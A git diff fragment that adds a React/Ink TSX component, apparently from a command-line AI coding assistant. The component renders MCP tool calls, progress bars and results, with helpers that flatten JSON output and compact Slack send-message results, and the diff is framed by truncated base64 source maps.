tZU5hbWUgfSxcbik6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdwbGFuJyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgICA8VGV4dD4gRW50ZXJlZCBwbGFuIG1vZGU8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIDxCb3ggcGFkZGluZ0xlZnQ9ezJ9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBDbGF1ZGUgaXMgbm93IGV4cGxvcmluZyBhbmQgZGVzaWduaW5nIGFuIGltcGxlbWVudGF0aW9uIGFwcHJvYWNoLlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSgpOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiIG1hcmdpblRvcD17MX0+XG4gICAgICA8VGV4dCBjb2xvcj17Z2V0TW9kZUNvbG9yKCdkZWZhdWx0Jyl9PntCTEFDS19DSVJDTEV9PC9UZXh0PlxuICAgICAgPFRleHQ+IFVzZXIgZGVjbGluZWQgdG8gZW50ZXIgcGxhbiBtb2RlPC9UZXh0PlxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiJBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsWUFBWSxRQUFRLDBCQUEwQjtBQUN2RCxTQUFTQyxZQUFZLFFBQVEseUNBQXlDO0FBQ3RFLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHdCQUF3QjtBQUVwRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVULEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQ3RELE9BQU8sSUFBSTtBQUNiO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxPQUFPLEVBQUVKLE1BQU0sRUFDZkssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRVAsS0FBSyxDQUFDVSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQztBQUM3QyxNQUFNLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxLQUFLO0FBQzlCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLENBQUNSLFlBQVksQ0FBQyxNQUFNLENBQUMsQ0FBQyxDQUFDLENBQUNELFlBQVksQ0FBQyxFQUFFLElBQUk7QUFDL0QsUUFBUSxDQUFDLElBQUksQ0FBQyxrQkFBa0IsRUFBRSxJQUFJO0FBQ3RDLE1BQU0sRUFBRSxHQUFHO0FBQ1gsTUFBTSxDQUFDLEdBQUcsQ0FBQyxXQUFXLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUIsUUFBUSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ3RCO0FBQ0EsUUFBUSxFQUFFLElBQUk7QUFDZCxNQUFNLEVBQUUsR0FBRztBQUNYLElBQUksRUFBRSxHQUFHLENBQUM7QUFFVjtBQUVBLE9BQU8sU0FBU2UsNEJBQTRCQSxDQUFBLENBQUUsRUFBRWhCLEtBQUssQ0FBQ1UsU0FBUyxDQUFDO0VBQzlELE9BQ0UsQ0FBQyxHQUFHLENBQUMsYUFBYSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsQ0FBQyxDQUFDLENBQUM7QUFDMUMsTUFBTSxDQUFDLElBQUksQ0FBQyxLQUFLLENBQUMsQ0FBQ1IsWUFBWSxDQUFDLFNBQVMsQ0FBQyxDQUFDLENBQUMsQ0FBQ0QsWUFBWSxDQUFDLEVBQUUsSUFBSTtBQUNoRSxNQUFNLENBQUMsSUFBSSxDQUFDLGlDQUFpQyxFQUFFLElBQUk7QUFDbkQsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/tools/MCPTool/UI.tsx b/_all-in-one-upload/cc-haha/src/tools/MCPTool/UI.tsx
new file mode 100644
index 0000000..bc33ffe
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/MCPTool/UI.tsx
@@ -0,0 +1,403 @@
+import { c as _c } from "react/compiler-runtime";
+import { feature } from 'bun:bundle';
+import figures from 'figures';
+import * as React from 'react';
+import type { z } from 'zod/v4';
+import { ProgressBar } from '../../components/design-system/ProgressBar.js';
+import { MessageResponse } from '../../components/MessageResponse.js';
+import { linkifyUrlsInText, OutputLine } from '../../components/shell/OutputLine.js';
+import { stringWidth } from '../../ink/stringWidth.js';
+import { Ansi, Box, Text } from '../../ink.js';
+import type { ToolProgressData } from '../../Tool.js';
+import type { ProgressMessage } from '../../types/message.js';
+import type { MCPProgress } from '../../types/tools.js';
+import { formatNumber } from '../../utils/format.js';
+import { createHyperlink } from '../../utils/hyperlink.js';
+import { getContentSizeEstimate, type MCPToolResult } from '../../utils/mcpValidation.js';
+import { jsonParse, jsonStringify } from '../../utils/slowOperations.js';
+import type { inputSchema } from './MCPTool.js';
+
+// Threshold for displaying warning about large MCP responses
+const MCP_OUTPUT_WARNING_THRESHOLD_TOKENS = 10_000;
+
+// In non-verbose mode, truncate individual input values to keep the header
+// compact. Matches BashTool's philosophy of showing enough to identify the
+// call without dumping the entire payload inline.
+const MAX_INPUT_VALUE_CHARS = 80;
+
+// Max number of top-level keys before we fall back to raw JSON display.
+// Beyond this a flat k:v list is more noise than help.
+const MAX_FLAT_JSON_KEYS = 12;
+
+// Don't attempt flat-object parsing for large blobs.
+const MAX_FLAT_JSON_CHARS = 5_000;
+
+// Don't attempt to parse JSON blobs larger than this (perf safety).
+const MAX_JSON_PARSE_CHARS = 200_000;
+
+// A string value is "dominant text payload" if it has newlines or is
+// long enough that inline display would be worse than unwrapping.
+const UNWRAP_MIN_STRING_LEN = 200;
+export function renderToolUseMessage(input: z.infer<ReturnType<typeof inputSchema>>, {
+  verbose
+}: {
+  verbose: boolean;
+}): React.ReactNode {
+  if (Object.keys(input).length === 0) {
+    return '';
+  }
+  return Object.entries(input).map(([key, value]) => {
+    let rendered = jsonStringify(value);
+    if (feature('MCP_RICH_OUTPUT') && !verbose && rendered.length > MAX_INPUT_VALUE_CHARS) {
+      rendered = rendered.slice(0, MAX_INPUT_VALUE_CHARS).trimEnd() + '…';
+    }
+    return `${key}: ${rendered}`;
+  }).join(', ');
+}
+export function renderToolUseProgressMessage(progressMessagesForMessage: ProgressMessage<MCPProgress>[]): React.ReactNode {
+  const lastProgress = progressMessagesForMessage.at(-1);
+  if (!lastProgress?.data) {
+    return <MessageResponse height={1}>
+        <Text dimColor>Running…</Text>
+      </MessageResponse>;
+  }
+  const {
+    progress,
+    total,
+    progressMessage
+  } = lastProgress.data;
+  if (progress === undefined) {
+    return <MessageResponse height={1}>
+        <Text dimColor>Running…</Text>
+      </MessageResponse>;
+  }
+  if (total !== undefined && total > 0) {
+    const ratio = Math.min(1, Math.max(0, progress / total));
+    const percentage = Math.round(ratio * 100);
+    return <MessageResponse>
+        <Box flexDirection="column">
+          {progressMessage && <Text dimColor>{progressMessage}</Text>}
+          <Box flexDirection="row" gap={1}>
+            <ProgressBar ratio={ratio} width={20} />
+            <Text dimColor>{percentage}%</Text>
+          </Box>
+        </Box>
+      </MessageResponse>;
+  }
+  return <MessageResponse height={1}>
+      <Text dimColor>{progressMessage ?? `Processing… ${progress}`}</Text>
+    </MessageResponse>;
+}
+export function renderToolResultMessage(output: string | MCPToolResult, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], {
+  verbose,
+  input
+}: {
+  verbose: boolean;
+  input?: unknown;
+}): React.ReactNode {
+  const mcpOutput = output as MCPToolResult;
+  if (!verbose) {
+    const slackSend = trySlackSendCompact(mcpOutput, input);
+    if (slackSend !== null) {
+      return <MessageResponse height={1}>
+          <Text>
+            Sent a message to{' '}
+            <Ansi>{createHyperlink(slackSend.url, slackSend.channel)}</Ansi>
+          </Text>
+        </MessageResponse>;
+    }
+  }
+  const estimatedTokens = getContentSizeEstimate(mcpOutput);
+  const showWarning = estimatedTokens > MCP_OUTPUT_WARNING_THRESHOLD_TOKENS;
+  const warningMessage = showWarning ? `${figures.warning} Large MCP response (~${formatNumber(estimatedTokens)} tokens), this can fill up context quickly` : null;
+  let contentElement: React.ReactNode;
+  if (Array.isArray(mcpOutput)) {
+    const contentBlocks = mcpOutput.map((item, i) => {
+      if (item.type === 'image') {
+        return <Box key={i} justifyContent="space-between" overflowX="hidden" width="100%">
+            <MessageResponse height={1}>
+              <Text>[Image]</Text>
+            </MessageResponse>
+          </Box>;
+      }
+      // For text blocks and any other block types, extract text if available
+      const textContent = item.type === 'text' && 'text' in item && item.text !== null && item.text !== undefined ? String(item.text) : '';
+      return feature('MCP_RICH_OUTPUT') ? <MCPTextOutput key={i} content={textContent} verbose={verbose} /> : <OutputLine key={i} content={textContent} verbose={verbose} />;
+    });
+
+    // Wrap array content in a column layout
+    contentElement = <Box flexDirection="column" width="100%">
+        {contentBlocks}
+      </Box>;
+  } else if (!mcpOutput) {
+    contentElement = <Box justifyContent="space-between" overflowX="hidden" width="100%">
+        <MessageResponse height={1}>
+          <Text dimColor>(No content)</Text>
+        </MessageResponse>
+      </Box>;
+  } else {
+    contentElement = feature('MCP_RICH_OUTPUT') ? <MCPTextOutput content={mcpOutput} verbose={verbose} /> : <OutputLine content={mcpOutput} verbose={verbose} />;
+  }
+  if (warningMessage) {
+    return <Box flexDirection="column">
+        <MessageResponse height={1}>
+          <Text color="warning">{warningMessage}</Text>
+        </MessageResponse>
+        {contentElement}
+      </Box>;
+  }
+  return contentElement;
+}
+
+/**
+ * Render MCP text output. Tries three strategies in order:
+ * 1. If JSON wraps a single dominant text payload (e.g. slack's
+ *    {"messages":"line1\nline2..."}), unwrap and let OutputLine truncate.
+ * 2. If JSON is a small flat-ish object, render as aligned key: value.
+ * 3. Otherwise fall through to OutputLine (pretty-print + truncate).
+ */
+function MCPTextOutput(t0) {
+  const $ = _c(18);
+  const {
+    content,
+    verbose
+  } = t0;
+  let t1;
+  if ($[0] !== content || $[1] !== verbose) {
+    t1 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      const unwrapped = tryUnwrapTextPayload(content);
+      if (unwrapped !== null) {
+        const t2 = unwrapped.extras.length > 0 && <Text dimColor={true}>{unwrapped.extras.map(_temp).join(" \xB7 ")}</Text>;
+        let t3;
+        if ($[3] !== unwrapped || $[4] !== verbose) {
+          t3 = <OutputLine content={unwrapped.body} verbose={verbose} linkifyUrls={true} />;
+          $[3] = unwrapped;
+          $[4] = verbose;
+          $[5] = t3;
+        } else {
+          t3 = $[5];
+        }
+        let t4;
+        if ($[6] !== t2 || $[7] !== t3) {
+          t4 = <MessageResponse><Box flexDirection="column">{t2}{t3}</Box></MessageResponse>;
+          $[6] = t2;
+          $[7] = t3;
+          $[8] = t4;
+        } else {
+          t4 = $[8];
+        }
+        t1 = t4;
+        break bb0;
+      }
+    }
+    $[0] = content;
+    $[1] = verbose;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
+  }
+  let t2;
+  if ($[9] !== content) {
+    t2 = Symbol.for("react.early_return_sentinel");
+    bb1: {
+      const flat = tryFlattenJson(content);
+      if (flat !== null) {
+        const maxKeyWidth = Math.max(...flat.map(_temp2));
+        let t3;
+        if ($[11] !== maxKeyWidth) {
+          t3 = (t4, i) => {
+            const [key, value] = t4;
+            return <Text key={i}><Text dimColor={true}>{key.padEnd(maxKeyWidth)}: </Text><Ansi>{linkifyUrlsInText(value)}</Ansi></Text>;
+          };
+          $[11] = maxKeyWidth;
+          $[12] = t3;
+        } else {
+          t3 = $[12];
+        }
+        const t4 = <Box flexDirection="column">{flat.map(t3)}</Box>;
+        let t5;
+        if ($[13] !== t4) {
+          t5 = <MessageResponse>{t4}</MessageResponse>;
+          $[13] = t4;
+          $[14] = t5;
+        } else {
+          t5 = $[14];
+        }
+        t2 = t5;
+        break bb1;
+      }
+    }
+    $[9] = content;
+    $[10] = t2;
+  } else {
+    t2 = $[10];
+  }
+  if (t2 !== Symbol.for("react.early_return_sentinel")) {
+    return t2;
+  }
+  let t3;
+  if ($[15] !== content || $[16] !== verbose) {
+    t3 = <OutputLine content={content} verbose={verbose} linkifyUrls={true} />;
+    $[15] = content;
+    $[16] = verbose;
+    $[17] = t3;
+  } else {
+    t3 = $[17];
+  }
+  return t3;
+}
+
+/**
+ * Parse content as a JSON object and return its entries. Null if content
+ * doesn't parse, isn't an object, is too large, or has 0/too-many keys.
+ */
+function _temp2(t0) {
+  const [k_0] = t0;
+  return stringWidth(k_0);
+}
+function _temp(t0) {
+  const [k, v] = t0;
+  return `${k}: ${v}`;
+}
+function parseJsonEntries(content: string, {
+  maxChars,
+  maxKeys
+}: {
+  maxChars: number;
+  maxKeys: number;
+}): [string, unknown][] | null {
+  const trimmed = content.trim();
+  if (trimmed.length === 0 || trimmed.length > maxChars || trimmed[0] !== '{') {
+    return null;
+  }
+  let parsed: unknown;
+  try {
+    parsed = jsonParse(trimmed);
+  } catch {
+    return null;
+  }
+  if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) {
+    return null;
+  }
+  const entries = Object.entries(parsed);
+  if (entries.length === 0 || entries.length > maxKeys) {
+    return null;
+  }
+  return entries;
+}
+
+/**
+ * If content parses as a JSON object where every value is a scalar or a
+ * small nested object, flatten it to [key, displayValue] pairs. Nested
+ * objects get one-line JSON. Returns null if content doesn't qualify.
+ */
+export function tryFlattenJson(content: string): [string, string][] | null {
+  const entries = parseJsonEntries(content, {
+    maxChars: MAX_FLAT_JSON_CHARS,
+    maxKeys: MAX_FLAT_JSON_KEYS
+  });
+  if (entries === null) return null;
+  const result: [string, string][] = [];
+  for (const [key, value] of entries) {
+    if (typeof value === 'string') {
+      result.push([key, value]);
+    } else if (value === null || typeof value === 'number' || typeof value === 'boolean') {
+      result.push([key, String(value)]);
+    } else if (typeof value === 'object') {
+      const compact = jsonStringify(value);
+      if (compact.length > 120) return null;
+      result.push([key, compact]);
+    } else {
+      return null;
+    }
+  }
+  return result;
+}
+
+/**
+ * If content is a JSON object where one key holds a dominant string payload
+ * (multiline or long) and all siblings are small scalars, unwrap it. This
+ * handles the common MCP pattern of {"messages":"line1\nline2..."} where
+ * pretty-printing keeps \n escaped but we want real line breaks + truncation.
+ */
+export function tryUnwrapTextPayload(content: string): {
+  body: string;
+  extras: [string, string][];
+} | null {
+  const entries = parseJsonEntries(content, {
+    maxChars: MAX_JSON_PARSE_CHARS,
+    maxKeys: 4
+  });
+  if (entries === null) return null;
+  // Find the one dominant string payload. Trim first: a trailing \n on a
+  // short sibling (e.g. pagination hints) shouldn't make it "dominant".
+  let body: string | null = null;
+  const extras: [string, string][] = [];
+  for (const [key, value] of entries) {
+    if (typeof value === 'string') {
+      const t = value.trimEnd();
+      const isDominant = t.length > UNWRAP_MIN_STRING_LEN || t.includes('\n') && t.length > 50;
+      if (isDominant) {
+        if (body !== null) return null; // two big strings — ambiguous
+        body = t;
+        continue;
+      }
+      if (t.length > 150) return null;
+      extras.push([key, t.replace(/\s+/g, ' ')]);
+    } else if (value === null || typeof value === 'number' || typeof value === 'boolean') {
+      extras.push([key, String(value)]);
+    } else {
+      return null; // nested object/array — use flat or pretty-print path
+    }
+  }
+  if (body === null) return null;
+  return {
+    body,
+    extras
+  };
+}
+const SLACK_ARCHIVES_RE = /^https:\/\/[a-z0-9-]+\.slack\.com\/archives\/([A-Z0-9]+)\/p\d+$/;
+
+/**
+ * Detect a Slack send-message result and return a compact {channel, url} pair.
+ * Matches both hosted (claude.ai Slack) and community MCP server shapes —
+ * both return `message_link` in the result. The channel label prefers the
+ * tool input (may be a name like "#foo" or an ID like "C09EVDAN1NK") and
+ * falls back to the ID parsed from the archives URL.
+ */
+export function trySlackSendCompact(output: string | MCPToolResult, input: unknown): {
+  channel: string;
+  url: string;
+} | null {
+  let text: unknown = output;
+  if (Array.isArray(output)) {
+    const block = output.find(b => b.type === 'text');
+    text = block && 'text' in block ? block.text : undefined;
+  }
+  if (typeof text !== 'string' || !text.includes('"message_link"')) {
+    return null;
+  }
+  const entries = parseJsonEntries(text, {
+    maxChars: 2000,
+    maxKeys: 6
+  });
+  const url = entries?.find(([k]) => k === 'message_link')?.[1];
+  if (typeof url !== 'string') return null;
+  const m = SLACK_ARCHIVES_RE.exec(url);
+  if (!m) return null;
+  const inp = input as {
+    channel_id?: unknown;
+    channel?: unknown;
+  } | undefined;
+  const raw = inp?.channel_id ?? inp?.channel ?? m[1];
+  const label = typeof raw === 'string' && raw ? raw : 'slack';
+  return {
+    channel: label.startsWith('#') ? label : `#${label}`,
+    url
+  };
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiZmlndXJlcyIsIlJlYWN0IiwieiIsIlByb2dyZXNzQmFyIiwiTWVzc2FnZVJlc3BvbnNlIiwibGlua2lmeVVybHNJblRleHQiLCJPdXRwdXRMaW5lIiwic3RyaW5nV2lkdGgiLCJBbnNpIiwiQm94IiwiVGV4dCIsIlRvb2xQcm9ncmVzc0RhdGEiLCJQcm9ncmVzc01lc3NhZ2UiLCJNQ1BQcm9ncmVzcyIsImZvcm1hdE51bWJlciIsImNyZWF0ZUh5cGVybGluayIsImdldENvbnRlbnRTaXplRXN0aW1hdGUiLCJNQ1BUb29sUmVzdWx0IiwianNvblBhcnNlIiwianNvblN0cmluZ2lmeSIsImlucHV0U2NoZW1hIiwiTUNQX09VVFBVVF9XQVJOSU5HX1RIUkVTSE9MRF9UT0tFTlMiLCJNQVhfSU5QVVRfVkFMVUVfQ0hBUlMiLCJNQVhfRkxBVF9KU09OX0tFWVMiLCJNQVhfRkxBVF9KU09OX0NIQVJTIiwiTUFYX0pTT05fUEFSU0VfQ0hBUlMiLCJVTldSQVBfTUlOX1NUUklOR19MRU4iLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsImlucHV0IiwiaW5mZXIiLCJSZXR1cm5UeXBlIiwidmVyYm9zZSIsIlJlYWN0Tm9kZSIsIk9iamVjdCIsImtleXMiLCJsZW5ndGgiLCJlbnRyaWVzIiwibWFwIiwia2V5IiwidmFsdWUiLCJyZW5kZXJlZCIsInNsaWNlIiwidHJpbUVuZCIsImpvaW4iLCJyZW5kZXJUb29sVXNlUHJvZ3Jlc3NNZXNzYWdlIiwicHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJsYXN0UHJvZ3Jlc3MiLCJhdCIsImRhdGEiLCJwcm9ncmVzcyIsInRvdGFsIiwicHJvZ3Jlc3NNZXNzYWdlIiwidW5kZWZpbmVkIiwicmF0aW8iLCJNYXRoIiwibWluIiwibWF4IiwicGVyY2VudGFnZSIsInJvdW5kIiwicmVuZGVyVG9vbFJlc3VsdE1lc3NhZ2UiLCJvdXRwdXQiLCJfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UiLCJtY3BPdXRwdXQiLCJzbGFja1NlbmQiLCJ0cnlTbGFja1NlbmRDb21wYWN0IiwidXJsIiwiY2hhbm5lbCIsImVzdGltYXRlZFRva2VucyIsInNob3dXYXJuaW5nIiwid2FybmluZ01lc3NhZ2UiLCJ3YXJuaW5nIiwiY29udGVudEVsZW1lbnQiLCJBcnJheSIsImlzQXJyYXkiLCJjb250ZW50QmxvY2tzIiwiaXRlbSIsImkiLCJ0eXBlIiwidGV4dENvbnRlbnQiLCJ0ZXh0IiwiU3RyaW5nIiwiTUNQVGV4dE91dHB1dCIsInQwIiwiJCIsIl9jIiwiY29udGVudCIsInQxIiwiU3ltYm9sIiwiZm9yIiwiYmIwIiwidW53cmFwcGVkIiwidHJ5VW53cmFwVGV4dFBheWxvYWQiLCJ0MiIsImV4dHJhcyIsIl90ZW1wIiwidDMiLCJib2R5IiwidDQiLCJiYjEiLCJmbGF0IiwidHJ5RmxhdHRlbkpzb24iLCJtYXhLZXlXaWR0aCIsIl90ZW1wMiIsInBhZEVuZCIsInQ1Iiwia18wIiwiayIsInYiLCJwYXJzZUpzb25FbnRyaWVzIiwibWF4Q2hhcnMiLCJtYXhLZXlzIiwidHJpbW1lZCIsInRyaW0iLCJwYXJzZWQiLCJyZXN1bHQiLCJwdXNoIiwiY29tcGFjdCIsInQiLCJpc0RvbWluYW50IiwiaW5jbHVkZXMiLCJyZXBsYWNlIiwiU0xBQ0tfQVJDSElWRVNfUkUiLCJibG9jayIsImZpbmQiLCJiIiwibSIsImV4ZWMiLCJpbnAiLCJjaGFubmVsX2lkIiwicmF3IiwibGFiZWwiLCJzdGFydHNXaXRoIl0sInNvdXJjZXMiOlsiVUkudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7IGZlYXR1cmUgfSBmcm9tICdidW46YnVuZGxlJ1xuaW1wb3J0IGZpZ3VyZXMgZnJvbSAnZmlndXJlcydcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHR5cGUgeyB6IH0gZnJvbSAnem9kL3Y0J1xuaW1wb3J0IHsgUHJvZ3Jlc3NCYXIgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL2Rlc2lnbi1zeXN0ZW0vUHJvZ3Jlc3NCYXIuanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL01lc3NhZ2VSZXNwb25zZS5qcydcbmltcG9ydCB7XG4gIGxpbmtpZnlVcmxzSW5UZXh0LFxuICBPdXRwdXRMaW5lLFxufSBmcm9tICcuLi8uLi9jb21wb25lbnRzL3NoZWxsL091dHB1dExpbmUuanMnXG5pbXBvcnQgeyBzdHJpbmdXaWR0aCB9IGZyb20gJy4uLy4uL2luay9zdHJpbmdXaWR0aC5qcydcbmltcG9ydCB7IEFuc2ksIEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgVG9vbFByb2dyZXNzRGF0YSB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IE1DUFByb2dyZXNzIH0gZnJvbSAnLi4vLi4vdHlwZXMvdG9vbHMuanMnXG5pbXBvcnQgeyBmb3JtYXROdW1iZXIgfSBmcm9tICcuLi8uLi91dGlscy9mb3JtYXQuanMnXG5pbXBvcnQgeyBjcmVhdGVIeXBlcmxpbmsgfSBmcm9tICcuLi8uLi91dGlscy9oeXBlcmxpbmsuanMnXG5pbXBvcnQge1xuICBnZXRDb250ZW50U2l6ZUVzdGltYXRlLFxuICB0eXBlIE1DUFRvb2xSZXN1bHQsXG59IGZyb20gJy4uLy4uL3V0aWxzL21jcFZhbGlkYXRpb24uanMnXG5pbXBvcnQgeyBqc29uUGFyc2UsIGpzb25TdHJpbmdpZnkgfSBmcm9tICcuLi8uLi91dGlscy9zbG93T3BlcmF0aW9ucy5qcydcbmltcG9ydCB0eXBlIHsgaW5wdXRTY2hlbWEgfSBmcm9tICcuL01DUFRvb2wuanMnXG5cbi8vIFRocmVzaG9sZCBmb3IgZGlzcGxheWluZyB3YXJuaW5nIGFib3V0IGxhcmdlIE1DUCByZXNwb25zZXNcbmNvbnN0IE1DUF9PVVRQVVRfV0FSTklOR19USFJFU0hPTERfVE9LRU5TID0gMTBfMDAwXG5cbi8vIEluIG5vbi12ZXJib3NlIG1vZGUsIHRydW5jYXRlIGluZGl2aWR1YWwgaW5wdXQgdmFsdWVzIHRvIGtlZXAgdGhlIGhlYWRlclxuLy8gY29tcGFjdC4gTWF0Y2hlcyBCYXNoVG9vbCdzIHBoaWxvc29waHkgb2Ygc2hvd2luZyBlbm91Z2ggdG8gaWRlbnRpZnkgdGhlXG4vLyBjYWxsIHdpdGhvdXQgZHVtcGluZyB0aGUgZW50aXJlIHBheWxvYWQgaW5saW5lLlxuY29uc3QgTUFYX0lOUFVUX1ZBTFVFX0NIQVJTID0gODBcblxuLy8gTWF4IG51bWJlciBvZiB0b3AtbGV2ZWwga2V5cyBiZWZvcmUgd2UgZmFsbCBiYWNrIHRvIHJhdyBKU09OIGRpc3BsYXkuXG4vLyBCZXlvbmQgdGhpcyBhIGZsYXQgazp2IGxpc3QgaXMgbW9yZSBub2lzZSB0aGFuIGhlbHAuXG5jb25zdCBNQVhfRkxBVF9KU09OX0tFWVMgPSAxMlxuXG4vLyBEb24ndCBhdHRlbXB0IGZsYXQtb2JqZWN0IHBhcnNpbmcgZm9yIGxhcmdlIGJsb2JzLlxuY29uc3QgTUFYX0ZMQVRfSlNPTl9DSEFSUyA9IDVfMDAwXG5cbi8vIERvbid0IGF0dGVtcHQgdG8gcGFyc2UgSlNPTiBibG9icyBsYXJnZXIgdGhhbiB0aGlzIChwZXJmIHNhZmV0eSkuXG5jb25zdCBNQVhfSlNPTl9QQVJTRV9DSEFSUyA9IDIwMF8wMDBcblxuLy8gQSBzdHJpbmcgdmFsdWUgaXMgXCJkb21pbmFudCB0ZXh0IHBheWxvYWRcIiBpZiBpdCBoYXMgbmV3bGluZXMgb3IgaXNcbi8vIGxvbmcgZW5vdWdoIHRoYXQgaW5saW5lIGRpc3BsYXkgd291bGQgYmUgd29yc2UgdGhhbiB1bndyYXBwaW5nLlxuY29uc3QgVU5XUkFQX01JTl9TVFJJTkdfTEVOID0gMjAwXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlTWVzc2FnZShcbiAgaW5wdXQ6IHouaW5mZXI8UmV0dXJuVHlwZTx0eXBlb2YgaW5wdXRTY2hlbWE+PixcbiAgeyB2ZXJib3NlIH06IHsgdmVyYm9zZTogYm9vbGVhbiB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgaWYgKE9iamVjdC5rZXlzKGlucHV0KS5sZW5ndGggPT09IDApIHtcbiAgICByZXR1cm4gJydcbiAgfVxuICByZXR1cm4gT2JqZWN0LmVudHJpZXMoaW5wdXQpXG4gICAgLm1hcCgoW2tleSwgdmFsdWVdKSA9PiB7XG4gICAgICBsZXQgcmVuZGVyZWQgPSBqc29uU3RyaW5naWZ5KHZhbHVlKVxuICAgICAgaWYgKFxuICAgICAgICBmZWF0dXJlKCdNQ1BfUklDSF9PVVRQVVQnKSAmJlxuICAgICAgICAhdmVyYm9zZSAmJlxuICAgICAgICByZW5kZXJlZC5sZW5ndGggPiBNQVhfSU5QVVRfVkFMVUVfQ0hBUlNcbiAgICAgICkge1xuICAgICAgICByZW5kZXJlZCA9IHJlbmRlcmVkLnNsaWNlKDAsIE1BWF9JTlBVVF9WQUxVRV9DSEFSUykudHJpbUVuZCgpICsgJ+KApidcbiAgICAgIH1cbiAgICAgIHJldHVybiBgJHtrZXl9OiAke3JlbmRlcmVkfWBcbiAgICB9KVxuICAgIC5qb2luKCcsICcpXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlUHJvZ3Jlc3NNZXNzYWdlKFxuICBwcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZTogUHJvZ3Jlc3NNZXNzYWdlPE1DUFByb2dyZXNzPltdLFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgbGFzdFByb2dyZXNzID0gcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2UuYXQoLTEpXG5cbiAgaWYgKCFsYXN0UHJvZ3Jlc3M/LmRhdGEpIHtcbiAgICByZXR1cm4gKFxuICAgICAgPE1lc3NhZ2VSZXNwb25zZSBoZWlnaHQ9ezF9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5SdW5uaW5n4oCmPC9UZXh0PlxuICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgKVxuICB9XG5cbiAgY29uc3QgeyBwcm9ncmVzcywgdG90YWwsIHByb2dyZXNzTWVzc2FnZSB9ID0gbGFzdFByb2dyZXNzLmRhdGFcblxuICBpZiAocHJvZ3Jlc3MgPT09IHVuZGVmaW5lZCkge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yPlJ1bm5pbmfigKY8L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb2